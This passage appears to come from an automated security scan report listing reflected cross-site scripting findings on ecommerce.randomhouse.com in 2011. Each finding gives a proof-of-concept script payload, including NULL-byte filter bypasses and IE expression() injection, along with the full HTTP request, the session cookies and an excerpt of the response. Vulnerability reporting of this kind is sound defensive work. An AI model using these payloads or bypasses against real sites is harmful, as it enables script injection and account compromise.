   if( '74f99';alert(1)//44955d1d1a9' == '') {
       if( paramStart != -1) {
           var paramString = url.substr(paramStart + 1);
           var tokenStart = paramString.indexOf('from');
           if( tokenStart != -1) {
               var token = paramString.substr(toke
...[SNIP]...

2.9. https://ecommerce.randomhouse.com/create-account-submit.do [confirmPassword parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account-submit.do

Issue detail

The value of the confirmPassword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ef75"><script>alert(1)</script>4190709400fddb906 was submitted in the confirmPassword parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /create-account-submit.do?shippingAddress=useBillingAddress&email=%27%40%27.com&firstName=llkk+kkk&lastName=kkk+&company=&street1=123+mmm+st+&street2=&city=new+york&stateProvince=NY&country=US&zipPostalCode=10010&phoneNumber=999-988-0987&faxNumber=&password=1234rf&confirmPassword=1234rf7ef75"><script>alert(1)</script>4190709400fddb906&optinemail=Y HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/create-account-submit.do
Cache-Control: max-age=0
Origin: https://ecommerce.randomhouse.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:58:29 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 20934


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
<input type="password" name="confirmPassword" value="1234rf7ef75"><script>alert(1)</script>4190709400fddb906">
...[SNIP]...

2.10. https://ecommerce.randomhouse.com/create-account-submit.do [email parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account-submit.do

Issue detail

The value of the email request parameter is copied into the HTML document as plain text between tags. The payload 41e31<script>alert(1)</script>df5ae1c2f9536e1ca was submitted in the email parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /create-account-submit.do?shippingAddress=useBillingAddress&email=%27%40%27.com41e31<script>alert(1)</script>df5ae1c2f9536e1ca&firstName=llkk+kkk&lastName=kkk+&company=&street1=123+mmm+st+&street2=&city=new+york&stateProvince=NY&country=US&zipPostalCode=10010&phoneNumber=999-988-0987&faxNumber=&password=1234rf&confirmPassword=1234rf&optinemail=Y HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/create-account-submit.do
Cache-Control: max-age=0
Origin: https://ecommerce.randomhouse.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:52:42 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17138


<!-- account.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www
...[SNIP]...
<span class="loggedInText">'@'.com41e31<script>alert(1)</script>df5ae1c2f9536e1ca</span>
...[SNIP]...

2.11. https://ecommerce.randomhouse.com/create-account-submit.do [password parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account-submit.do

Issue detail

The value of the password request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7dc3b"><script>alert(1)</script>a734b570e5619ecdd was submitted in the password parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /create-account-submit.do?shippingAddress=useBillingAddress&email=%27%40%27.com&firstName=llkk+kkk&lastName=kkk+&company=&street1=123+mmm+st+&street2=&city=new+york&stateProvince=NY&country=US&zipPostalCode=10010&phoneNumber=999-988-0987&faxNumber=&password=1234rf7dc3b"><script>alert(1)</script>a734b570e5619ecdd&confirmPassword=1234rf&optinemail=Y HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/create-account-submit.do
Cache-Control: max-age=0
Origin: https://ecommerce.randomhouse.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:58:19 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 20934


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
<input type="password" name="password" value="1234rf7dc3b"><script>alert(1)</script>a734b570e5619ecdd">
...[SNIP]...

2.12. https://ecommerce.randomhouse.com/create-account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c691"><script>alert(1)</script>070b45f3bf0 was submitted in the from parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /create-account.do?from=1c691"><script>alert(1)</script>070b45f3bf0 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; RES_SESSIONID=212207240983843; ResonanceSegment=1; CP=null*; mbox=session#1303855598284-166145#1303859906|PC#1303855598284-166145#1366930046|check#true#1303858106

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:48:07 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 20322


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=1c691"><script>alert(1)</script>070b45f3bf0">
...[SNIP]...

2.13. https://ecommerce.randomhouse.com/create-account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account.do

Issue detail

The value of the from request parameter is copied into the HTML document as plain text between tags. The payload %0086d84<script>alert(1)</script>db18887c0e9 was submitted in the from parameter. This input was echoed as 86d84<script>alert(1)</script>db18887c0e9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /create-account.do?from=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000B06)%3C/script%3E%0086d84<script>alert(1)</script>db18887c0e9 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; CP=null*; mbox=session#1303855598284-166145#1303859906|PC#1303855598284-166145#1366930046|check#true#1303858106; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:48:29 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 20496


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
</script>.86d84<script>alert(1)</script>db18887c0e9">
...[SNIP]...

2.14. https://ecommerce.randomhouse.com/create-account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account.do

Issue detail

The value of the from request parameter is copied into the HTML document as plain text between tags. The payload 88201<script>alert(1)</script>743278463a4 was submitted in the from parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /create-account.do?from=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000B06)%3C/script%3E88201<script>alert(1)</script>743278463a4 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; RES_SESSIONID=212207240983843; ResonanceSegment=1; CP=null*; mbox=session#1303855598284-166145#1303859906|PC#1303855598284-166145#1366930046|check#true#1303858106

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:48:11 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 20493


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
</script>88201<script>alert(1)</script>743278463a4">
...[SNIP]...

2.15. https://ecommerce.randomhouse.com/password.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /password.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2402d"style%3d"x%3aexpr/**/ession(alert(1))"942e8dd2de1 was submitted in the from parameter. This input was echoed as 2402d"style="x:expr/**/ession(alert(1))"942e8dd2de1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /password.do?from=2402d"style%3d"x%3aexpr/**/ession(alert(1))"942e8dd2de1 HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:21:27 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 11462


<!-- forgottenPassword.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="htt
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=2402d"style="x:expr/**/ession(alert(1))"942e8dd2de1">
...[SNIP]...

2.16. https://ecommerce.randomhouse.com/password.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /password.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00d764b"><script>alert(1)</script>ff6160e5949 was submitted in the from parameter. This input was echoed as d764b"><script>alert(1)</script>ff6160e5949 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /password.do?from=%00d764b"><script>alert(1)</script>ff6160e5949 HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:21:32 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 11441


<!-- forgottenPassword.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="htt
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=.d764b"><script>alert(1)</script>ff6160e5949">
...[SNIP]...

2.17. https://ecommerce.randomhouse.com/sign-in-submit.do [email parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in-submit.do

Issue detail

The value of the email request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d8a7"><script>alert(1)</script>e76a6b52e057de0cb was submitted in the email parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /sign-in-submit.do?email=2d8a7"><script>alert(1)</script>e76a6b52e057de0cb&password= HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/sign-in.do
Cache-Control: max-age=0
Origin: https://ecommerce.randomhouse.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; CP=null*; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Djavascript%25253Adocument.forms.signInForm.submit%252528%252529%25253B%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:40:08 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17136


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<input type="text" name="email" value="2d8a7"><script>alert(1)</script>e76a6b52e057de0cb" size="30" />
...[SNIP]...

2.18. https://ecommerce.randomhouse.com/sign-in-submit.do [password parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in-submit.do

Issue detail

The value of the password request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d019"><script>alert(1)</script>c69c47f83fc5ae963 was submitted in the password parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /sign-in-submit.do?email=&password=4d019"><script>alert(1)</script>c69c47f83fc5ae963 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/sign-in.do
Cache-Control: max-age=0
Origin: https://ecommerce.randomhouse.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; CP=null*; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Djavascript%25253Adocument.forms.signInForm.submit%252528%252529%25253B%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:41:50 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16987


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<input type="password" name="password" value="4d019"><script>alert(1)</script>c69c47f83fc5ae963" size="30" />
...[SNIP]...

2.19. https://ecommerce.randomhouse.com/sign-in.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a8336"%3balert(1)//1decb9d5a21 was submitted in the from parameter. This input was echoed as a8336";alert(1)//1decb9d5a21 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sign-in.do?from=randomhousea8336"%3balert(1)//1decb9d5a21 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:07:07 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17075


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
var s_account="ranhcorporate,ranhrollup";
var rh_division="Random House Corporate";
var rh_imprint="";
var rh_store="randomhousea8336";alert(1)//1decb9d5a21";
//-->
...[SNIP]...

2.20. https://ecommerce.randomhouse.com/sign-in.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 182e6"%3b566f826a9ff was submitted in the from parameter. This input was echoed as 182e6";566f826a9ff in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sign-in.do?from=182e6"%3b566f826a9ff HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:21:02 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 16907


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
var s_account="ranhcorporate,ranhrollup";
var rh_division="Random House Corporate";
var rh_imprint="";
var rh_store="182e6";566f826a9ff";
//-->
...[SNIP]...

2.21. https://ecommerce.randomhouse.com/sign-in.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0010afa"style%3d"x%3aexpression(alert(1))"6551a8508b2 was submitted in the from parameter. This input was echoed as 10afa"style="x:expression(alert(1))"6551a8508b2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

